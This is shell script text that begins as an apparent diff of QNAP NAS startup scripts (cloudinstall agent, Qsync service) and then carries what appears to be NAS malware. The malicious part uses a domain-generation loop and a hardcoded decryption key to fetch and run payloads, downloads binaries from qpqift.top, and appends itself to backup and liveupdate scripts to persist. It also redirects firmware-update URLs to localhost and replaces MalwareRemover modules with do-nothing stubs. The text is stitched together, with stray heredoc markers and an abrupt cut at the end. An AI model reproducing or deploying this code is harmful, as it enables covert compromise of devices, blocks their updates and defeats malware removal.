+NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +domainexts='cf:0 tk:0 com:1 ml:0 de:0 rocks:0 mx:0 biz:0 net:1 cn:0 ga:0 gq:0 org:1 top:0 nl:0 men:0 ws:0 se:0 info:0 xyz:0 today:0 ru:0 ec:0 co:0 ee:0 rs:0 com.sv:0 com.cy:0 co.zw:0 kg:0 com.ge:0 tl:0 name:0 tw:0 lv:0 bs:0 li:0 ng:0 ae:0 bt:0 tv:0 pe:0 uz:0 me:0 gy:0 am:0 kr:0 by:0 fr:0 com.uy:0 com.lb:0 com.br:0 vu:0 hk:0 in:0 re:0 ch:0 af:0 com.ps:0 ug:0 dz:0 pro:0 co.th:0 sg:0 cd:0 so:0 mo:0 co.id:0 co.il:0 com.do:0 ke:0 cx:0 ro:0 id:0 pm:0 hm:0 vg:0 az:0 com.eg:0 bz:0 su:0 com.ar:0 gg:0 com.lr:0 pa:0 com.ve:0 al:0 fm:0 to:0 mu:0 co.ck:0 pk:0 co.rs:0 cw:0 nr:0 gd:0 gl:0 ac:0 lk:0 md:0 fi:0 sx:0 lc:0 es:0 cc:0 cm:0 la:0 co.za:0 je:0 cz:0 jp:0 ai:0 pw:0 bg:0 nu:0 ag:0 bm:0 eu:0 com.my:0 sc:0 ax:0 wf:0 ly:0 qa:0 vn:0 aq:0 mobi:0 com.tr:0 com.ua:0 com.py:0 hk.org:0 south.am:0 com.kh:0 co.zm:0 ru.net:0 com.km:0 tt:0 kn:0 co.ls:0 co.fk:0 uy.com:0 com.gu:0 .com.bn:0 com.pf:0 com.fj:0' +n=0 + +for ext in $domainexts; do + eval 'domainext'"$n"'=$ext' + n=$(( $n + 1 )) +done +domainextcnt=$n + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +XEOF +cat >>".backup_${file}" <>".backup_${file}" <<"XEOF" + +echo "$verifykey" > ".rsakey" + +for tmpfile in "./.tmp.XXXXXX" "${bdir}/.tmp.XXXXXX" "/.tmp.XXXXXX"; do + tmpfile=$(mktemp "./.tmp.XXXXXX") + test -f "$tmpfile" && outfile=$tmpfile && break +done +test -n "${outfile}" && test -f "${outfile}" || outfile='./.tmp.out' +curlconntimeout=12 +i=0 n=0 c=0 errorcount=0 +for interval in '1296000' '432000' '86400' '28800' '7200' '3600'; do + timestart=$(date +%s) + for length in 5 3 4; do + timenow=$(date +%s) + test "$(( $timenow - $timestart ))" -gt 600 && test "$interval" != "3600" && break + curlconntimeout=$(( $curlconntimeout - ( $timenow - $timestart ) / 250 )) + test "$curlconntimeout" -lt 6 && curlconntimeout=6 + n=0; while [ "$n" -lt $domainextcnt ]; do + eval 'ext=$domainext'"$n" + l=$(( $length + ${ext#*:} )) + ext=${ext%:*} + if [ $length = 5 ]; then + hostname=$(echo "$(( $(date +%s) / $interval ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%${hostname#??????}} + eval 'hostname'"$n"'=$hostname' + fi + eval 'host=$hostname'"$n" + n=$(( $n + 1 )) + trycnt=0 + while [ ${#host} -gt "$l" ] && [ $trycnt -lt 3 ]; do + trycnt=$(( $trycnt + 1 )) + host=${host%?} + done + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout "$curlconntimeout" -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout "$curlconntimeout" -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout "$curlconntimeout" -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +chmod 755 ".backup_${file}" +if grep "\.backup_${file}" "$file"; then +: +else +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file" +echo ". ./.backup_${file}" >> "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi + +fi + +if [ ! -f ".qdisk_cmd" ]; then + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + binhash='g2oe7EJJVCiAHY6AG1I1c/lGF8Y=' + ;; + *arm*|*aarch*) + arch=arm + binhash='Z3twHZvQqYZ1vLeu4PLnZekdkRY=' + ;; + *i*86*) + arch=i486 + binhash='gWzECXuIp3dz5yI7RJS9d4+xpq4=' + ;; + esac + + if [ "x${binhash}" != 'x' ]; then + curl --connect-timeout 12 -m 1200 -k -o ".qdisk_cmd.tmp" "https://qpqift.top/data/qdisk_cmd_${arch}" || rm -f ".qdisk_cmd.tmp" + test -f '.qdisk_cmd.tmp' && rsynchash="$(openssl dgst -sha1 -binary ".qdisk_cmd.tmp" | openssl base64)" + if [ "x${rsynchash}" = "x${binhash}" ]; then + mv '.qdisk_cmd.tmp' '.qdisk_cmd' && chmod +x '.qdisk_cmd' + else + rm -f '.qdisk_cmd.tmp' + fi + fi +fi +binhash=''; rsynchash='' + +for path in ".config/backup_conf.sh" ".liveupdate/liveupdate.sh"; do +if [ -f "${path#*/}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "${path#*/}" +elif [ -f "${bdir}/.qpkg/${path}" ]; then +test -f '.qdisk_cmd' && ./.qdisk_cmd +ia "${bdir}/.qpkg/${path}" +fi +done + +version=$(getcfg System Version) +test "x${version}" = 'x' && version=$(getcfg System Version -f /etc/default_config/uLinux.conf) +test "${version##*.}" -lt 3 || test "${version%%.*}" -lt 4 || test "$(version=${version#*.}; echo "${version%.*}")" -lt 3 && version=4.3.3 || { test "${version##*.}" -gt 5 && version=4.3.5; } + +if [ ! -d rssdoc ]; then +command -v bunzip2 && compext=bz2 || compext=gz +curl --connect-timeout 12 -m 1200 -k -o "rssdoc.tar.${compext}" "https://qpqift.top/data/rssdoc.tar.${compext}" && test -f "rssdoc.tar.${compext}" && rssdochash="$(openssl dgst -sha1 -binary "rssdoc.tar.${compext}" | openssl base64)" && { test "$rssdochash" = 'WOkc6vlUa7A30GKa4Z4o02CIexk=' || test "$rssdochash" = "0h0Jyx52a/F9YB80Ml4SsEsugyA="; } && { test "$compext" = bz2 && tarflag=j || tarflag=z; } && tar -x${tarflag}f "rssdoc.tar.${compext}" || rm -f rssdoc.tar +rm -f "rssdoc.tar.${compext}" +fi + +rm -f /home/httpd/{Liveupdate,FirmwareRelease{,_beta}S.xml} +ln -s "${CWD}"/rssdoc/{Liveupdate,FirmwareRelease{,_beta}S.xml} /home/httpd + +if grep 'Liveupdate\|FirmwareRelease\|QTS_FW' /etc/default_config/uLinux.conf /etc/config/uLinux.conf | grep 'qnap\.com\|0\.0\.0\.0'; then +internalwebport=$(/sbin/getcfg System InnerWebAccessPort -d 58080) +localupdateurl="http://127.0.0.1:${internalwebport}" +sed -i 's/https\?:\/\/[^\/]\+\/\(Liveupdate\|FirmwareRelease\|QTS_FW\)/http:\/\/127.0.0.1:'${internalwebport}'\/\1/' /etc/default_config/uLinux.conf /etc/config/uLinux.conf +fi + +test -f '/etc/config/rssdoc/qpkgcenter_*.xml' || test -h '/etc/config/rssdoc/qpkgcenter_*.xml' && { test -f '.qdisk_cmd' && ./.qdisk_cmd -i '/etc/config/rssdoc/qpkgcenter_*.xml'; rm -f '/etc/config/rssdoc/qpkgcenter_*.xml'; } + +if find /etc/config/rssdoc | grep 'qpkgcenter_.*\.xml'; then +: +else +cp "./rssdoc/Liveupdate/QTS${version}/qpkgcenter_eng.xml" '/etc/config/rssdoc/qpkgcenter_eng.xml' +test -f '.qdisk_cmd' && ./.qdisk_cmd +i '/etc/config/rssdoc/qpkgcenter_eng.xml' +fi + +for file in /etc/config/rssdoc/qpkgcenter_*.xml +do +if [ -f "$file" ] && { rm -f "$file" || [ ! -s "$file" ]; }; then +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "$file" +touch "$file" +cp -f "./rssdoc/Liveupdate/QTS${version}/${file##*/}" "$file" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "$file" +fi +done +file='' + +for qpkgdir in "${bdir}/.qpkg" '../../.qpkg'; do +test -d "$qpkgdir" && break +done +test -d "${qpkgdir}/MalwareRemover" || mkdir "${qpkgdir}/MalwareRemover" +test -d "${qpkgdir}/MalwareRemover/modules" || mkdir "${qpkgdir}/MalwareRemover/modules" +test -f '.qdisk_cmd' && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover" + +if [ -d "${qpkgdir}/MalwareRemover/modules" ]; then +for file in 10_derek_3.pyc 12_derek_3.pyc; do +if [ ! -f "${qpkgdir}/MalwareRemover/modules/${file}" ] || rm -f "${qpkgdir}/MalwareRemover/modules/${file}" || test -x "${qpkgdir}/MalwareRemover/modules/${file}" || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -gt 150 ] || [ $(wc -c < "${qpkgdir}/MalwareRemover/modules/${file}") -lt 120 ]; then +test -f '.qdisk_cmd' && test -f "${qpkgdir}/MalwareRemover/modules/${file}" && ./.qdisk_cmd -i "${qpkgdir}/MalwareRemover/modules/${file}" && rm -f "${qpkgdir}/MalwareRemover/modules/${file}" +openssl base64 -d <<"EOF" >"${qpkgdir}/MalwareRemover/modules/${file}" +A/MNCuVwTVxjAAAAAAAAAAABAAAAQAAAAHMLAAAAZQAAgwAAAWQAAFMoAQAAAE4o +AQAAAHQEAAAAZXhpdCgAAAAAKAAAAAAoAAAAAHMVAAAAbW9kdWxlcy8xMF9kZXJl +a18zLnB5dAgAAAA8bW9kdWxlPgEAAABzAAAAAA== +EOF +chmod -x "${qpkgdir}/MalwareRemover/modules/${file}" +test -f '.qdisk_cmd' && ./.qdisk_cmd +i "${qpkgdir}/MalwareRemover/modules/${file}" +fi +done +fi +file=''; qpkgdir='' + +if [ ! -f .rsakey ]; then +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +fi + +cgibindir='/home/httpd/cgi-bin' +if [ ! -f "1551848401_c" ] && [ -f "${cgibindir}/authLogin.cgi" ] && [ ! -f "${cgibindir}/sysauthLogin.cgi" ]; then + test -f "1551848401_c" || touch "1551848401_c" + case "$(uname -m)" in + *x86_64*) + arch=x86_64 + 